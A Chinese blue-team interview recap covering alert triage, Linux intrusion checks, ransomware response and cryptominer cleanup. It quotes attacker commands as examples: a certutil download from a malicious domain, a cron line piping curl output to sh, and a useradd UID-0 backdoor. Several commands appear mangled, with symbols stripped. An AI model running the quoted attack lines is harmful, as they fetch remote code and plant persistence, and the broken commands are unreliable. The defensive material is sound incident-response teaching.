复盘一次蓝队HVV实战面试:从设备告警到病毒处置的攻防推演
1. 天眼告警分析从误报到真实攻击的实战判断那天面试官上来就甩给我一个天眼告警截图说说看这个告警是真的被入侵了还是系统误报当时我手心直冒汗现在复盘才发现这类问题其实有标准解题框架。先说最关键的判断原则内外网IP差异处理。如果是内网IP触发的告警比如10.16.16.13尝试连接10.16.17.52我会立即用sip:10.16.16.13 AND dip:10.16.17.52语法拉取完整日志重点看流量包里是否出现whoami、ipconfig这类横向移动特征命令。实际操作中我发现个细节很多内网攻击会伪装成业务流量。有次遇到个案例攻击者把恶意请求藏在正常API调用里直到发现certutil -urlcache -split -f http://恶意域名这种下载指令才确认失陷。这时要立即做三件事隔离该IP、检查同网段其他主机、上报研判组。如果是外网IP重点看请求响应包对比。比如某个PHP文件返回了200状态码但响应体里出现eval(或base64_decode(这类危险函数基本可以判定是webshell通信。日志检索时我常用这些语法组合时间范围锁定event_time:[2023-07-01 00:00 to 2023-07-01 23:59]多条件过滤(sip:1.1.1.1 OR dip:2.2.2.2) AND alert_name:SQL注入排除误报NOT alert_name:扫描探测2. Shell入侵排查攻击入口定位的八步法当面试官问服务器被上传了shell怎么办千万别直接说查日志就完了。我有套完整的排查流程最近实战中刚用这套方法挖出个隐藏很深的Docker逃逸后门第一步直奔/var/log/secure用grep Failed password /var/log/secure | awk {print $11} | sort | uniq -c | sort -nr统计爆破来源IP。有次发现某IP在凌晨3点尝试了200多次追踪发现是跳板机被控。第二步查用户登录记录last -i会显示登录IP特别注意pts/0这类伪终端。曾遇到攻击者用useradd -o -u 0 -g 0 -M -d /root -s /bin/bash backdoor创建UID0的隐藏账号。第三步看当前连接netstat -antp | grep EST配合ss -ltnp比单纯用netstat更全面。上周排查时发现有个ESTABLISHED连接指向境外IP的3333端口最终定位到是挖矿木马。第四步进程检查要用ps -ef --forest看父子进程关系。有次看到/tmp/.X11-unix下有个bash进程的父进程是nginx明显不正常。第五步文件排查重点在/tmp、/dev/shm这些临时目录用find / -type f -mtime -1 -name *.php找最近修改的PHP文件。记得某次在/usr/lib/python2.7/site-packages里发现恶意库文件。第六步检查计划任务crontab -l和ls -la /etc/cron.*都要看。遇到过攻击者写入*/5 * * * * curl http://恶意域名|sh的定时任务。第七步查SUID文件find / -perm -4000 -type f 2/dev/null能找到被篡改的权限设置。曾发现/usr/bin/chfn被替换成恶意版本。第八步最后用chkrootkit和rkhunter做全盘扫描。有次挖矿病毒把/bin/ps替换了导致常规命令看不到恶意进程。3. 勒索病毒应急响应从识别到处置的完整链条面试官突然问如果发现服务器文件全变成.locked后缀怎么办这种场景下分秒必争我的处置经验是识别阶段先看三个关键点文件加密特征不仅看后缀还要用file命令检查文件头。某次应急时发现攻击者把.jpg文件加密后仍保留原后缀勒索信位置通常放在/root/、/home/*/Desktop或共享目录用find / -name README*.txt -o -name HOW_TO_DECRYPT.*快速定位进程行为Windows下看vssadmin list shadows是否被删除卷影副本Linux用lsof | grep -i delete找被删除但未释放的文件处置阶段必须按顺序操作立即断网如果是物理机直接拔网线虚拟机就禁用网卡。有次客户先关机再找我们结果重启后加密更彻底取证备份用dd if/dev/sda1 of/mnt/backup/sda1.img bs1M做磁盘镜像特别注意备份/var/log/下的日志影响评估统计find / -type f -name *.encrypted | wc -l了解加密文件量优先确认数据库是否受损恢复方案如果有备份在隔离环境测试恢复遇到WannaCry这类利用永恒之蓝漏洞的要先打MS17-010补丁预防方面我总结出三不三要原则不要启用弱密码RDP不要随意开放445等高风险端口不要点击可疑邮件附件要定期做离线备份要启用文件完整性监控要关闭不必要的SMBv1协议4. 挖矿病毒查杀从CPU异常到彻底清理服务器CPU跑满是怎么回事这个问题背后八成是挖矿病毒。上个月处理的一个案例很典型某电商网站卡顿发现CPU持续100%最后揪出是Redis未授权访问导致的挖矿程序。快速定位技巧top看异常进程注意改名伪装成kworker/0:1H的进程netstat -antp | grep EST找境外IP连接特别是俄罗斯、乌克兰的矿池地址cat /proc/[pid]/environ查看进程环境变量很多挖矿会带--donate-level1参数ls -la /proc/[pid]/exe看实际执行路径常见在/tmp/.X11-unix/下有隐藏文件清理步骤先保存证据cat /proc/[pid]/cmdline /tmp/malware_cmdline.txt杀进程不能只用kill要用kill -9 [pid]确保终止删除文件时要rm -rf /tmp/.X11-unix/[随机名]连带隐藏目录一起清检查定时任务crontab -l和/var/spool/cron/都要看清除SSH密钥后门rm -f /root/.ssh/authorized_keys并重设密码防护加固Redis配置requirepass和rename-command FLUSHALL Docker API不要暴露2375端口用iptables -A INPUT -p tcp --dport 2375 -j DROP封禁高危端口定期运行find / -perm -4000 -type f -exec ls -la {} \;查SUID文件有次遇到特别顽固的挖矿病毒清理后总是复活最后发现是攻击者通过Jenkins未授权脚本控制台植入的。所以彻底排查一定要检查所有Web管理界面包括Jenkins脚本命令行Elasticsearch的动态脚本Hadoop YARN的资源管理器WebLogic的T3协议